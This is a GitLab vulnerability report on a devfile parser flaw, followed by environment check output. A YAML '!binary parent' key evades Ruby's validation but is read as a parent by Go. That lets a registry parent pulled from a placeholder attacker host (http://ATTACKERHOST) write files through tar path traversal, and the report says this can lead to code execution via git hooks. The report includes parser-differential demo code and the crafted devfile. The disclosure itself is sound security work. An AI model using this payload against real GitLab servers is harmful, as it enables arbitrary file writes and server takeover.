Skip to content

Devfile parser arbitrary file write

Summary

For our "workspaces" feature we're using a custom Gem to parse devfiles which define those workspaces.

devfiles can include other devfiles as a "parent", those parents can be depending on the context local or remote files. The remote files can come from different sources like Git repositories or a devfile registry which is very similar to a Docker registry.

Within GitLab we're not allowing the "parent" feature of devfiles and we're validating that a given devfile does not use it in https://gitlab.com/gitlab-org/gitlab/-/blob/e261f7e36a061f547b75f45fed89baa4cd53a29e/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb#L50-56

        def self.validate_parent(value)
          value => { devfile: Hash => devfile }

          return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']

          Result.ok(value)
        end

devfiles are written in YAML in the above code excerpt the underlying YAML is parsed by Ruby's YAML.safe_load into a Hash, this Hash is then verified to not contain the parent key.

Subsequently the verified devfile YAML is passed on to some Go binary in the devfile-gem. Due to YAML being a complex format the Ruby and the Go parser differ a bit and we can construct a YAML file which doesn't seem to have a parent key in Ruby but has one in Go.

Consider the following Ruby program:

require 'yaml'
require 'date'
x = YAML.safe_load(File.read(ARGV[0]),aliases: true)
y = YAML.dump(x)
puts y

And this Go program:

package main

import (
        "fmt"
        "log"
        "os"
        "gopkg.in/yaml.v3"
)

func main() {
    data, _ := os.ReadFile(os.Args[1])
        unmarshalled := &yaml.Node{}

        err := yaml.Unmarshal([]byte(data), unmarshalled)
        if err != nil {
                log.Fatalf("error: %v", err)
        }
        var expanded interface{}
        err = unmarshalled.Content[0].Decode(&expanded)
        if err != nil {
                log.Fatalf("error: %v", err)
        }

        d, err := yaml.Marshal(expanded)
        if err != nil {
                log.Fatalf("error: %v", err)
        }
        fmt.Printf("%s\n", string(d))
}

With this input:

!binary parent: foo

We get the following different outputs:

➜  devfile cat test.yaml
!binary parent: foo
➜  devfile ruby r.rb test.yaml 
---
!binary "pareng==": foo
➜  devfile go run g.go test.yaml 
parent: foo

➜  devfile 

So we can craft a devfile which actually has a parent defined and will be parsed by the devfile-gem underlying Go implementation when creating a new workspace.

This Go implementation is vulnerable to a path traversal when dealing with registry based parents. https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L115

target := path.Join(targetDir, filepath.Clean(header.Name))

Here the header.Name comes from an untrusted tar archive. filepath.Clean is not preventing a traversal here as it will leave relative paths as they are so for instance ../../../etc/passwd will not get the ../ sequence removed.

Steps to reproduce

  1. set up a cluster agent with the following config:
remote_development:
  enabled: true

user_access:
  access_as:
    agent: {}
  projects:
    - id: SOMGROUP/SOMEPROJECT
  groups:
    - id: SOMEGROUP

Where SOMEGROUP is a premium namespace SOMEPROJECT will be configured now with a .devfile.yaml in the repo:

schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://ATTACKERHOST
components:
  - name: 'test'
    attributes:
      gl/inject-editor: true
    container:
      image: registry.gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs/debian-bullseye-ruby-3.2-node-18.12:rubygems-3.4-git-2.33-lfs-2.9-yarn-1.22-graphicsmagick-1.3.36-gitlab-workspaces

The following tar file contains the script to run at ATTACKERHOST, it serves as fake registry server with a archive.tar which contains a traversal into /tmp/joernwashere. server.tar

When everything is set up we can trigger the file write by creating a workspace for the project we just created the .devfile.yaml in.

On simple omnibus/docker installations where the repos are on the same host this leads to pretty easy code execution by writing e.g. git hooks into a repository.

Relevant logs and/or screenshots

I'll provide a screenrecording with a walk through later on.

Output of checks

Results of GitLab environment info

Expand for output related to GitLab environment info
root@gitlab:/# gitlab-rake gitlab:env:info

System information
System:
Proxy:          no
Current User:   git
Using RVM:      no
Ruby Version:   3.1.4p223
Gem Version:    3.4.22
Bundler Version:2.4.22
Rake Version:   13.0.6
Redis Version:  7.0.14
Sidekiq Version:6.5.12
Go Version:     unknown

GitLab information
Version:        16.7.0-ee
Revision:       9e7d34f7ff1
Directory:      /opt/gitlab/embedded/service/gitlab-rails
DB Adapter:     PostgreSQL
DB Version:     14.9
URL:            http://gitlab.example.com
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git
SSH Clone URL:  git@gitlab.example.com:some-group/some-project.git
Elasticsearch:  no
Geo:            no
Using LDAP:     no
Using Omniauth: yes
Omniauth Providers: 

GitLab Shell
Version:        14.32.0
Repository storages:
- default:      unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell

Gitaly
- default Address:      unix:/var/opt/gitlab/gitaly/gitaly.socket
- default Version:      16.7.0
- default Git Version:  2.42.0

Results of GitLab application Check

Expand for output related to the GitLab application check
root@gitlab:/# gitlab-rake gitlab:check SANITIZE=true
Checking GitLab subtasks ...

Checking GitLab Shell ...

GitLab Shell: ... GitLab Shell version >= 14.32.0 ? ... OK (14.32.0) Running /opt/gitlab/embedded/service/gitlab-shell/bin/check Internal API available: OK Redis available via internal API: OK gitlab-shell self-check successful

Checking GitLab Shell ... Finished

Checking Gitaly ...

Gitaly: ... default ... OK

Checking Gitaly ... Finished

Checking Sidekiq ...

Sidekiq: ... Running? ... yes Number of Sidekiq processes (cluster/worker) ... 1/1

Checking Sidekiq ... Finished

Checking Incoming Email ...

Incoming Email: ... Reply by email is disabled in config/gitlab.yml

Checking Incoming Email ... Finished

Checking LDAP ...

LDAP: ... LDAP is disabled in config/gitlab.yml

Checking LDAP ... Finished

Checking GitLab App ...

Database config exists? ... yes Tables are truncated? ... skipped All migrations up? ... yes Database contains orphaned GroupMembers? ... no GitLab config exists? ... yes GitLab config up to date? ... yes Cable config exists? ... yes Resque config exists? ... yes Log directory writable? ... yes Tmp directory writable? ... yes Uploads directory exists? ... yes Uploads directory has correct permissions? ... yes Uploads directory tmp has correct permissions? ... skipped (no tmp uploads folder yet) Systemd unit files or init script exist? ... skipped (omnibus-gitlab has neither init script nor systemd units) Systemd unit files or init script up-to-date? ... skipped (omnibus-gitlab has neither init script nor systemd units) Projects have namespace: ... 1/1 ... yes 3/2 ... yes 3/3 ... yes Redis version >= 6.0.0? ... yes Ruby version >= 3.0.6 ? ... yes (3.1.4) Git user has default SSH configuration? ... yes Active users: ... 1 Is authorized keys file accessible? ... yes GitLab configured to store new projects in hashed storage? ... yes All projects are in hashed storage? ... yes Elasticsearch version 7.x-8.x or OpenSearch version 1.x ... skipped (Advanced Search is disabled) All migrations must be finished before doing a major upgrade ... skipped (Advanced Search is disabled)

Checking GitLab App ... Finished

Checking GitLab subtasks ... Finished

Edited by Rohit Shambhuni